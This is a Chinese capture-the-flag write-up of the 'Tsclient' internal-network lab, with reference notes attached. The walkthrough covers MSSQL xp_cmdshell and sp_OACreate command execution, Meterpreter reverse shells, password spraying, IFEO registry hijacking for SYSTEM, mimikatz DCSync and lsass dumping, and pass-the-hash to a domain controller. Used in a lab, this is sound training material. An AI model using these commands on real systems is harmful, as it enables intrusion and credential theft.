Tsclient

春秋云镜

Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。

flag01

首先,使用fscan站点进行扫描,开始信息收集

image-20240504161022387

使用Multiple.Database的工具(需要jdk8)

切换jdk版本的命令,选择我们需要的jdk版本即可

1
sudo update-alternatives --config java

拿到mssql的账户和密码:sa 1qaz!QAZ

登录mssql数据库,然后,上传windows/x64/meterpreter/reaver_tcp的 payload 反弹shell的payload

image-20240504161131138

上传我们的payload,exe

执行payload,反弹到msf上

image-20240504161653315

msf成拿到反弹的shell

image-20240504161750939

提权,拿到第一个flag(如果是CS上线,还得使用Sweetpotato.exe提权,msf直接使用命令提权即可)

1
type C:\Users\Administrator\flag\flag01.txt

image-20240504161919346

1
flag01: flag{0e85f589-a4da-43ec-95ca-7fe542ee289f}

拿到第一个flag


flag02

查看当前主机有哪些网络连接,并查看网络连接中的内容

quser || qwinst 查看在线用户命令

net use查看有哪些网络连接的命令,(注意,在这里已经切换为了John用户了,才能看到不同的网络连接

image-20240504162021742

上传fscan.exe

image-20240504162041908

进行内网扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
C:\迅雷下载>fscan.exe -h 172.22.8.0/24
fscan.exe -h 172.22.8.0/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.8.46 is alive
(icmp) Target 172.22.8.18 is alive
(icmp) Target 172.22.8.15 is alive
(icmp) Target 172.22.8.31 is alive
[*] Icmp alive hosts len is: 4


172.22.8.18:80 open
172.22.8.31:445 open
172.22.8.15:445 open
172.22.8.46:445 open
172.22.8.18:445 open
172.22.8.31:139 open
172.22.8.15:139 open
172.22.8.46:139 open
172.22.8.46:80 open
172.22.8.18:139 open
172.22.8.15:88 open
172.22.8.31:135 open
172.22.8.18:1433 open
172.22.8.15:135 open
172.22.8.18:135 open
172.22.8.46:135 open
[*] alive ports len is: 16


start vulscan
[*] NetInfo
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:18ba:2094:d89a:4f7d
[*] NetInfo
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[*] NetInfo
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[*] NetBios 172.22.8.15 [+] DC:XIAORANG\DC01
[*] WebTitle http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[*] NetBios 172.22.8.31 XIAORANG\WIN19-CLIENT
[*] NetInfo
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[*] NetBios 172.22.8.46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.8.46 code:200 len:703 title:IIS Windows Server
[+] mssql 172.22.8.18:1433:sa 1qaz!QAZ
已完成 16/16
[*] 扫描结束,耗时: 10.3070709s
1
2
3
4
172.22.8.46      
172.22.8.18
172.22.8.15
172.22.8.31

开始socks代理

image-20240504162138221

查看共享文件(net use)

1
2
3
4
5
6
7
beacon> shell type \\tsclient\c\credential.txt
[*] Tasked beacon to run: type \\tsclient\c\credential.txt
[+] host called home, sent: 63 bytes
[+] received output:
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

Do you know how to hijack Image?

image-20240504162349135

密码喷射一下(也就是用密码一个一个碰撞看能不能登录上某台机器)

1
proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
1
proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'

img

这个时候就可以修改密码并且登录了

img

或者如果我们需要改密码,用的是工具impacket里面的脚本

更改Aldrich用户的密码

1
proxychains -q python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Whoami@666'

进行远程桌面连接

1
proxychains rdesktop 172.22.8.46 -r clipboard -d 'xiaorang.lab' -u 'Aldrich' -p 'Whoami@666'

远程成功连接后,配置打开管理员的cmd方法

1
2
3
4
5
6
7
8
9
10
11
12
远程成功连接后,配置打开管理员的cmd方法。

get-acl查看IFEO权限,fl
命令是为了把⼀⾏显⽰为多⾏:
Get-ACL -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl

放⼤镜提权:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f


5次shift提权:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"

img

这里我们发现所以正常登录的用户都可以修改注册表,利用这个性质,修改注册表映像劫持,使用放大镜进行提权,其实也就是把本来用户主页放大镜启动的mangify.exe替换成C:\windows\system32\cmd.exe,这样就直接提权成system了

执行完上面命令后,点击,开始–用户–锁定(win+L),右下角打开放大镜就能拿到system权限的cmd。

打开管理员的cmd后,执行msf生成的powershell的payload

image-20240504163334768

把上述 powershell 指令复制到 desktop 登陆上的 txt 中(未登陆似乎⽆法粘贴),然后 start ps.txt 打开记 事本,复制其中正向 shell 的 payload, 再粘贴到带有 system 权限的 cmd 中(放⼤镜或 5 次 shift )即可上 线。

image-20240504163348740

msf发起连接,成功拿到管理员的shell。(这里不知道,是否可以先msf上线,再使用getsystem上线是否可以)

image-20240504163410168

域管信息收集

1
2
在shell下执行
net group "domain admins" /domain

域:xiaorang.lab

image-20240504163441304

发现win2016$在域管组里,即机器账户在hash传递登录域控制,所有相当于直接拿域控了。(因此这里最简单的做饭是logonpasswords抓到win2016$的哈希之后,用他的哈希直接pth域控)

在metepreter下执行

1
2
3
4
5
6
7
8
在metepreter下执行
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv 下面图片,输出信息少(所有用户的hash)


kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /cs 输出信息多,杂


kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /user:Administrator (获取Administrator用户信息)

image-20240504163621040

1
Administrator: 2c9d81bdcf3ec8b1def10328a7cc2f08

image-20240504163714186

1
flag02: flag{2f5b34c9-be69-42b6-b0be-ea8f78c22234}

flag03

1
2
3
4
5
proxychains python3 smbexec.py -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 Administrator@172.22.8.15

或者

impacket-wmiexec XIAORANG.LAB/WIN2016\$@172.22.8.15 -hashes :b0ea95b3d471c442e0c10e7a67893dbf

image-20240504163756760

1
type C:\Users\Administrator\flag\flag03.txt

image-20240504163809105


知识点

mssql提权参考链接:https://blog.csdn.net/qq_61553520/article/details/130936733

xp_cmdshell提权–mssql

mssql提权

原理

  • p_cmdshell是sql server中的一个组件,xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。
  • xp_cmdshell能提权的原理是sql server支持堆叠查询方式,而xp_cmdshell可以执行cmd的指令

利用

通过配置文件获取账户密码,哥斯拉登录数据库,sql server默认支持外链

navicat连接数据库执行

1
EXEC master.dbo.xp_cmdshell 'whoami'

img

利用起来就是这么简单,但是该组件默认是关闭的,因此需要把它打开

1
2
3
4
5
6
7
8
开启xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

xp_cmdshell被注销了,解决办法:

可以先上传xplog70.dll进行修复

1
exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。

启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

执行:
EXEC master.dbo.xp_cmdshell '命令'

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

sp_OACreate提权–mssql

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

原理

sp_oacreate 是一个非常危险的存储过程可以删除、复制、移动文件。主要用来调用OLE对象,利用OLE对象的方法执行系统命令。

补充

1
2
3
4
5
6
7
8
9
10
11
关闭组件
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

开启组件
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

执行命令后写入1.txt进行验证

1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

写入成功(成功执行了命令,whoami

img

后续可以直接命令执行反弹shell

总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

沙箱提权–mssql

什么是沙箱?

沙盒(英语:sandbox,又译为沙箱),计算机专业术语,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。

利用手法

执行添加管理员的命令

1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

输入以下命令,启用Ad Hoc Distributed Queries:

1
2
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
1
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

执行添加一个管理员margin命令

1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

net user 查看,发现margin用户成功添加

将margin用户提升到超级管理员权限

1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
1
net localgroup administrators 查看超级管理员组账户有margin

总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
--提权语句
exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite的时候(下面第三步)会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式SandBoxMode参数含义(默认是2
`0`:在任何所有者中禁止启用安全模式
`1` :为仅在允许范围内
`2` :必须在access模式下
`3`:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
--恢复配置
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
--exec sp_configure 'show advanced options',0;reconfigure;

Mimikatz常用命令总结

在管理员权限下使用,如果没有管理员权限,基本每个功能都无法正常使用。

mimikatz可以从内存中提权明文,哈希,PIN码和kerberos票据,mimikatz还可以执行哈希传递,票证传递或构造黄金票据。

功能模块命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cls:       清屏
standard: 标准模块,基本命令
crypto: 加密相关模块
sekurlsa: 与证书相关的模块
kerberos: kerberos模块
privilege: 提权相关模块
process: 进程相关模块
serivce: 服务相关模块
lsadump: LsaDump模块
ts: 终端服务器模块
event: 事件模块
misc: 杂项模块
token: 令牌操作模块
vault: Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight: BusyLight Module
sysenv: 系统环境值模块
sid: 安全标识符模块
iis: IIS XML配置模块
rpc: mimikatz的RPC控制
sr98: 用于SR98设备和T5577目标的RF模块
rdm: RDM(830AL)器件的射频模块
acr: ACR模块
version: 查看版本
exit: 退出

提升权限

1
2
3
privilege::debug

privilege '20' ok

当出现ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061时,表示客户端未持有所需的权限,即不是管理员。


抓取明文密码

在windows2012以上的系统不能直接获取明文密码了,需要配置相关的注册表等操作。

1
2
3
4
5
6
privilege::debug
sekurlsa::logonpasswords

或直接运行

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

获取密码信息

sekurlsa模块

1
2
3
4
5
sekurlsa::msv	提权ntml hash 凭证(对应上面截图的msv部分)

sekurlsa::wdigest 提权用户密码明文(对应上面截图的wdigest部分)

sekurlsa::kerberos 提权域账户凭据

procdump+mimikatz加载dmp文件,并导出其中的明文密码

procdump工具,可以将lsass.exe进程的内存文件导出来,由mimikatz对导出的文件进行分析,从而获取密码。

新版procdump v10.1 使用时存在错误:https://docs.microsoft.com/en-u

这里使用procdump v8.0

管理员运行工具,导出为lsass.dump文件:

1
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

将lsass.dmp放在mimikatz同一目录,读取密码文件

1
2
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

导出lsass.exe进程中所有的票据,sekurlsa::tickets /export

该功能模块导出lsass.exe进程中所有的票据,运行该命令会在当前目录生成多个服务的票据文件。

img

可以使用这些票据进行票据传递攻击(Pass the Ticket,PTT),对应另一种攻击方式为哈希传递攻击(PTH,Pass the hash)


lsadump模块,读取域控中域成员Hash

读取所有域用户的哈希,该命令需要在域控制器上执行

1
lsadump::lsa /patch

查看域内指定用户信息,包括NTML哈希等,该命令需要在域控制器上执行

1
lsadump::dcsync /domain:god.org /user:ligang